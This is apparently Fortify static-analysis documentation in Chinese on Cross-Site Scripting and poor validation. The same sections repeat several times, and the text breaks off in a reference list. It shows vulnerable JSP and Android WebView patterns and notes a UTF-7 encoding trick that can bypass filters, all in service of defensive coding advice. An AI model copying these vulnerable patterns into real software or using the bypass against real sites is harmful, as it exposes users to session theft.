一旦在应用程序中确定了针对 XSS 攻击执行验证的正确要点,以及验证过程中要考虑的特殊字符,下一个难点就是定义验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入,那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而,过滤的负面作用在于,过滤内容的显示将发生改变。在需要完整显示输入内容的情况下,过滤的这种负面作用可能是无法接受的。
如果必须接受带有特殊字符的输入,并将其准确地显示出来,验证机制一定要对所有特殊字符进行编码,以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。
许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞,具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式,以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器,以此确保该应用程序的安全。开发了某个应用程序后,并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变,我们不能保证应用程序服务器也会保持同步。
REFERENCES
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: AnalyzingWebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] INPUT-1: Validate inputs Oracle
[7] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[12] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[13] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[14] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[21] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[22] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[23] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[34] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
[35] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
Cross-Site Scripting: Poor Validation
ABSTRACT
依靠 HTML、XML 或其他类型编码验证用户输入可能会导致浏览器执行恶意代码。
EXPLANATION
使用特定的编码构造,例如带有 escapeXml=“true” 属性(默认设置)的<c:out/>
标签可以避免一部分 cross-site scripting 攻击,但不能完全避免。根据数据出现的上下文,除 HTML 编码的基本字符 <、>、& 和 “ 以及 XML 编码的字符 <、>、&、” 和 ‘ 之外,其他字符可能具有元意。依靠此类编码构造等同于用一个安全性较差的黑名单来防止 cross-site scripting 攻击,并且可能允许攻击者注入恶意代码,并在浏览器中加以执行。由于不可能始终准确地确定静态显示数据的上下文,所以即便进行了编码,Fortify Static Code Analyzer(Fortify 静态代码分析器)仍会报告跨站脚本攻击结果,并将其显示为 Cross-Site Scripting: Poor Validation 问题。
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:
数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的源大多数情况下为 Web 请求;而对于 Persistent(也称为 Stored)XSS,该源通常为数据库查询的结果。
未检验包含在动态内容中的数据,便将其传送给了 Web 用户。
传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私人数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。
示例 1:以下 JSP 代码片段可从 HTTP 请求中读取雇员 ID eid,并通过 <c:out/>
标签将其显示给用户。
Employee ID: <c:out value="${param.eid}"/>
如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 里有包含元字符或源代码中的值,那么 Web 浏览器就会像显示 HTTP 响应那样执行代码。
起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码的 URL,并且还在自己的电脑上运行呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或者社会工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。
示例 2:以下 JSP 代码片段可在数据库中查询具有给定 ID 的雇员,并通过 <c:out/>
标签输出相应雇员姓名。
1 | <%... |
如同例 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的盗取行为无能为力。同样,这段代码暴露出的危险较小,因为 name 的值是从数据库中读取的,而且显然这些内容是由应用程序管理的。然而,如果 name 的值是由用户提供的数据产生,数据库就会成为恶意内容沟通的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的 Persistent XSS(也称为 Stored XSS)盗取极其阴险狡猾,因为数据存储导致的间接性使得辨别威胁的难度增大,而且还提高了一个攻击影响多个用户的可能性。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿的用户都会执行这些恶意代码。
有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 cross-site scripting)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
示例 3:以下代码在 Android WebView 中启用了 JavaScript(默认情况下,JavaScript 为禁用状态),并根据从 Android Intent 接收到的值加载页面。
1 | ... |
如果 url 的值以 javascript: 开头,则接下来的 JavaScript 代码将在 WebView 中的 Web 页面上下文内部执行。
正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:
- 如例 1 所述,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行,就会发生反射式 XSS 盗取。发送恶意内容最常用的方法是,把恶意内容作为一个参数包含在公开发表的 URL 中,或者通过电子邮件直接发送给受害者。以这种手段构造的 URL 构成了多种“网络钓鱼”(phishing) 阴谋的核心,攻击者借此诱骗受害者访问指向易受攻击站点的 URL。站点将攻击者的内容反馈给受害者以后,便会执行这些内容,接下来会把用户计算机中的各种私密信息(比如包含会话信息的 cookie)传送给攻击者,或者执行其他恶意活动。
- 如例 2 所述,应用程序将危险数据储存在一个数据库或其他可信赖的数据存储器中。这些危险数据随后会被回写到应用程序中,并包含在动态内容中。Persistent XSS 盗取发生在如下情况:攻击者将危险内容注入到数据存储器中,且该存储器之后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于一个面向许多用户,尤其是相关用户显示的区域。相关用户通常在应用程序中具备较高的特权,或相互之间交换敏感数据,这些数据对攻击者来说有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人所有的敏感数据的访问权限。
— 正如例 3 所示,应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并存储在动态内容中。
许多现代 Web 框架都提供对用户输入执行验证的机制。其中包括 Struts 和 Struts 2。为了突出显示未经验证的输入源,Fortify 安全编码规则包会降低 Fortify Static Code Analyzer(Fortify 静态代码分析器)报告的问题被利用的可能性,并在使用框架验证机制时提供相应的依据,以动态重新调整问题优先级。我们将这种功能称之为上下文敏感排序。为了进一步帮助 Fortify 用户执行审计过程,Fortify 软件安全研究团队提供了数据验证项目模板,该模板会根据应用于输入源的验证机制,将问题分组到多个文件夹中。
RECOMMENDATIONS
针对 XSS 的解决方法是,确保在适当位置进行验证,并检验其属性是否正确。
由于 XSS 漏洞出现在应用程序的输出中包含恶意数据时,因此,合乎逻辑的做法是在数据流出应用程序的前一刻对其进行验证。然而,由于 Web 应用程序常常会包含复杂而难以理解的代码,用以生成动态内容,因此,这一方法容易产生遗漏错误(遗漏验证)。降低这一风险的有效途径是对 XSS 也执行输入验证。
由于 Web 应用程序必须验证输入信息以避免其他漏洞(如 SQL Injection),因此,一种相对简单的解决方法是,加强一个应用程序现有的输入验证机制,将 XSS 检测包括其中。尽管有一定的价值,但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储或其他可信赖的数据源接受输入,而该数据存储所接受的输入源可能并未执行适当的输入验证。因此,应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着,避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。
针对 XSS 漏洞进行验证最安全的方式是,创建一份安全字符白名单,允许其中的字符出现在 HTTP 内容中,并且只接受完全由这些经认可的字符组成的输入。例如,有效的用户名可能仅包含字母数字字符,电话号码可能仅包含 0-9 的数字。然而,这种解决方法在 Web 应用程序中通常是行不通的,因为许多字符对浏览器来说都具有特殊的含义,在写入代码时,这些字符仍应被视为合法的输入,比如一个 Web 设计版就必须接受带有 HTML 代码片段的输入。
更灵活的解决方法称为黑名单方法,但其安全性较差,这种方法在进行输入之前就有选择地拒绝或避免了潜在的危险字符。为了创建这样一个列表,首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义,但是许多 Web 浏览器会设法更正 HTML 中的常见错误,并可能在特定的上下文中认为其他字符具有特殊含义,这就是我们不鼓励使用黑名单作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]:
在有关块级别元素的内容中(位于一段文本的中间):
-“<”是一个特殊字符,因为它可以引入一个标签。
-“&”是一个特殊字符,因为它可以引入一个字符实体。
-“>”是一个特殊字符,之所以某些浏览器将其认定为特殊字符,是基于一种假设,即该页的作者本想在前面添加一个“<”,却错误地将其遗漏了。
下面的这些原则适用于属性值:
- 对于外加双引号的属性值,双引号是特殊字符,因为它们标记了该属性值的结束。
- 对于外加单引号的属性值,单引号是特殊字符,因为它们标记了该属性值的结束。
- 对于不带任何引号的属性值,空格字符(如空格符和制表符)是特殊字符。
-“&”与某些特定变量一起使用时是特殊字符,因为它引入了一个字符实体。
例如,在 URL 中,搜索引擎可能会在结果页面内提供一个链接,用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句,这将引入更多特殊字符:
- 空格符、制表符和换行符是特殊字符,因为它们标记了 URL 的结束。
-“&”是特殊字符,因为它可引入一个字符实体或分隔 CGI 参数。
- 非 ASCII 字符(即 ISO-8859-1 编码表中所有高于 128 的字符)不允许出现在 URL 中,因此在此上下文中也被视为特殊字符。
- 在服务器端对在 HTTP 转义序列中编码的参数进行解码时,必须过滤掉输入中的“%”符号。例如,当输入中出现“%68%65%6C%6C%6F”时,只有从输入的内容中过滤掉“%”,上述字符串才能在网页上显示为“hello”。
在 <SCRIPT> </SCRIPT>
的正文内:
— 如果可以将文本直接插入到已有的脚本标签中,应该过滤掉分号、省略号、中括号和换行符。
服务器端脚本:
- 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (“),则可能需要对此进行更多过滤。
其他可能出现的情况:
- 如果攻击者在 UTF-7 中提交了一个请求,那么特殊字符“<”可能会显示为“+ADw-”,并可能会绕过过滤。如果输出包含在没有确切定义编码格式的网页中,有些浏览器就会设法根据内容自动识别编码(此处采用 UTF-7 格式)。
一旦在应用程序中确定了针对 XSS 攻击执行验证的正确要点,以及验证过程中要考虑的特殊字符,下一个难点就是定义验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入,那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而,过滤的负面作用在于,过滤内容的显示将发生改变。在需要完整显示输入内容的情况下,过滤的这种负面作用可能是无法接受的。
如果必须接受带有特殊字符的输入,并将其准确地显示出来,验证机制一定要对所有特殊字符进行编码,以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。
许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞,具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式,以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器,以此确保该应用程序的安全。开发了某个应用程序后,并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变,我们不能保证应用程序服务器也会保持同步。
REFERENCES
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: AnalyzingWebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] INPUT-1: Validate inputs Oracle
[7] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[12] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[13] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[14] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[21] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[32] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
[33] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
Cross-Site Scripting: Poor Validation
ABSTRACT
依靠 HTML、XML 或其他类型编码验证用户输入可能会导致浏览器执行恶意代码。
EXPLANATION
使用特定的编码构造,例如带有 escapeXml=“true” 属性(默认设置)的 <c:out/>
标签可以避免一部分 cross-site scripting 攻击,但不能完全避免。根据数据出现的上下文,除 HTML 编码的基本字符 <、>、& 和 “ 以及 XML 编码的字符 <、>、&、” 和 ‘ 之外,其他字符可能具有元意。依靠此类编码构造等同于用一个安全性较差的黑名单来防止 cross-site scripting 攻击,并且可能允许攻击者注入恶意代码,并在浏览器中加以执行。由于不可能始终准确地确定静态显示数据的上下文,所以即便进行了编码,Fortify Static Code Analyzer(Fortify 静态代码分析器)仍会报告跨站脚本攻击结果,并将其显示为 Cross-Site Scripting: Poor Validation 问题。
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:
数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的源大多数情况下为 Web 请求;而对于 Persistent(也称为 Stored)XSS,该源通常为数据库查询的结果。
未检验包含在动态内容中的数据,便将其传送给了 Web 用户。
传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私人数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。
示例 1:以下 JSP 代码片段可从 HTTP 请求中读取雇员 ID eid,并通过 <c:out/>
标签将其显示给用户。
Employee ID: <c:out value="${param.eid}"/>
如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 里有包含元字符或源代码中的值,那么 Web 浏览器就会像显示 HTTP 响应那样执行代码。
起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码的 URL,并且还在自己的电脑上运行呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或者社会工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。
示例 2:以下 JSP 代码片段可在数据库中查询具有给定 ID 的雇员,并通过 <c:out/>
标签输出相应雇员姓名。
1 | <%... |
如同例 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的盗取行为无能为力。同样,这段代码暴露出的危险较小,因为 name 的值是从数据库中读取的,而且显然这些内容是由应用程序管理的。然而,如果 name 的值是由用户提供的数据产生,数据库就会成为恶意内容沟通的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的 Persistent XSS(也称为 Stored XSS)盗取极其阴险狡猾,因为数据存储导致的间接性使得辨别威胁的难度增大,而且还提高了一个攻击影响多个用户的可能性。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿的用户都会执行这些恶意代码。
有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 cross-site scripting)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
示例 3:以下代码在 Android WebView 中启用了 JavaScript(默认情况下,JavaScript 为禁用状态),并根据从 Android Intent 接收到的值加载页面。
1 | ... |
如果 url 的值以 javascript: 开头,则接下来的 JavaScript 代码将在 WebView 中的 Web 页面上下文内部执行。
正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:
- 如例 1 所述,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行,就会发生反射式 XSS 盗取。发送恶意内容最常用的方法是,把恶意内容作为一个参数包含在公开发表的 URL 中,或者通过电子邮件直接发送给受害者。以这种手段构造的 URL 构成了多种“网络钓鱼”(phishing) 阴谋的核心,攻击者借此诱骗受害者访问指向易受攻击站点的 URL。站点将攻击者的内容反馈给受害者以后,便会执行这些内容,接下来会把用户计算机中的各种私密信息(比如包含会话信息的 cookie)传送给攻击者,或者执行其他恶意活动。
- 如例 2 所述,应用程序将危险数据储存在一个数据库或其他可信赖的数据存储器中。这些危险数据随后会被回写到应用程序中,并包含在动态内容中。Persistent XSS 盗取发生在如下情况:攻击者将危险内容注入到数据存储器中,且该存储器之后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于一个面向许多用户,尤其是相关用户显示的区域。相关用户通常在应用程序中具备较高的特权,或相互之间交换敏感数据,这些数据对攻击者来说有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人所有的敏感数据的访问权限。
— 正如例 3 所示,应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并存储在动态内容中。
许多现代 Web 框架都提供对用户输入执行验证的机制。其中包括 Struts 和 Struts 2。为了突出显示未经验证的输入源,Fortify 安全编码规则包会降低 Fortify Static Code Analyzer(Fortify 静态代码分析器)报告的问题被利用的可能性,并在使用框架验证机制时提供相应的依据,以动态重新调整问题优先级。我们将这种功能称之为上下文敏感排序。为了进一步帮助 Fortify 用户执行审计过程,Fortify 软件安全研究团队提供了数据验证项目模板,该模板会根据应用于输入源的验证机制,将问题分组到多个文件夹中。
RECOMMENDATIONS
针对 XSS 的解决方法是,确保在适当位置进行验证,并检验其属性是否正确。
由于 XSS 漏洞出现在应用程序的输出中包含恶意数据时,因此,合乎逻辑的做法是在数据流出应用程序的前一刻对其进行验证。然而,由于 Web 应用程序常常会包含复杂而难以理解的代码,用以生成动态内容,因此,这一方法容易产生遗漏错误(遗漏验证)。降低这一风险的有效途径是对 XSS 也执行输入验证。
由于 Web 应用程序必须验证输入信息以避免其他漏洞(如 SQL Injection),因此,一种相对简单的解决方法是,加强一个应用程序现有的输入验证机制,将 XSS 检测包括其中。尽管有一定的价值,但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储或其他可信赖的数据源接受输入,而该数据存储所接受的输入源可能并未执行适当的输入验证。因此,应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着,避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。
针对 XSS 漏洞进行验证最安全的方式是,创建一份安全字符白名单,允许其中的字符出现在 HTTP 内容中,并且只接受完全由这些经认可的字符组成的输入。例如,有效的用户名可能仅包含字母数字字符,电话号码可能仅包含 0-9 的数字。然而,这种解决方法在 Web 应用程序中通常是行不通的,因为许多字符对浏览器来说都具有特殊的含义,在写入代码时,这些字符仍应被视为合法的输入,比如一个 Web 设计版就必须接受带有 HTML 代码片段的输入。
更灵活的解决方法称为黑名单方法,但其安全性较差,这种方法在进行输入之前就有选择地拒绝或避免了潜在的危险字符。为了创建这样一个列表,首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义,但是许多 Web 浏览器会设法更正 HTML 中的常见错误,并可能在特定的上下文中认为其他字符具有特殊含义,这就是我们不鼓励使用黑名单作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]:
在有关块级别元素的内容中(位于一段文本的中间):
-“<”是一个特殊字符,因为它可以引入一个标签。
-“&”是一个特殊字符,因为它可以引入一个字符实体。
-“>”是一个特殊字符,之所以某些浏览器将其认定为特殊字符,是基于一种假设,即该页的作者本想在前面添加一个“<”,却错误地将其遗漏了。
下面的这些原则适用于属性值:
- 对于外加双引号的属性值,双引号是特殊字符,因为它们标记了该属性值的结束。
- 对于外加单引号的属性值,单引号是特殊字符,因为它们标记了该属性值的结束。
- 对于不带任何引号的属性值,空格字符(如空格符和制表符)是特殊字符。
-“&”与某些特定变量一起使用时是特殊字符,因为它引入了一个字符实体。
例如,在 URL 中,搜索引擎可能会在结果页面内提供一个链接,用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句,这将引入更多特殊字符:
- 空格符、制表符和换行符是特殊字符,因为它们标记了 URL 的结束。
-“&”是特殊字符,因为它可引入一个字符实体或分隔 CGI 参数。
- 非 ASCII 字符(即 ISO-8859-1 编码表中所有高于 128 的字符)不允许出现在 URL 中,因此在此上下文中也被视为特殊字符。
- 在服务器端对在 HTTP 转义序列中编码的参数进行解码时,必须过滤掉输入中的“%”符号。例如,当输入中出现“%68%65%6C%6C%6F”时,只有从输入的内容中过滤掉“%”,上述字符串才能在网页上显示为“hello”。
在 <SCRIPT> </SCRIPT>
的正文内:
— 如果可以将文本直接插入到已有的脚本标签中,应该过滤掉分号、省略号、中括号和换行符。
服务器端脚本:
- 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (“),则可能需要对此进行更多过滤。
其他可能出现的情况:
- 如果攻击者在 UTF-7 中提交了一个请求,那么特殊字符“<”可能会显示为“+ADw-”,并可能会绕过过滤。如果输出包含在没有确切定义编码格式的网页中,有些浏览器就会设法根据内容自动识别编码(此处采用 UTF-7 格式)。
一旦在应用程序中确定了针对 XSS 攻击执行验证的正确要点,以及验证过程中要考虑的特殊字符,下一个难点就是定义验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入,那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而,过滤的负面作用在于,过滤内容的显示将发生改变。在需要完整显示输入内容的情况下,过滤的这种负面作用可能是无法接受的。
如果必须接受带有特殊字符的输入,并将其准确地显示出来,验证机制一定要对所有特殊字符进行编码,以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。
许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞,具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式,以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器,以此确保该应用程序的安全。开发了某个应用程序后,并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变,我们不能保证应用程序服务器也会保持同步。
REFERENCES
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: AnalyzingWebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] INPUT-1: Validate inputs Oracle
[7] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[12] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[13] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[14] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
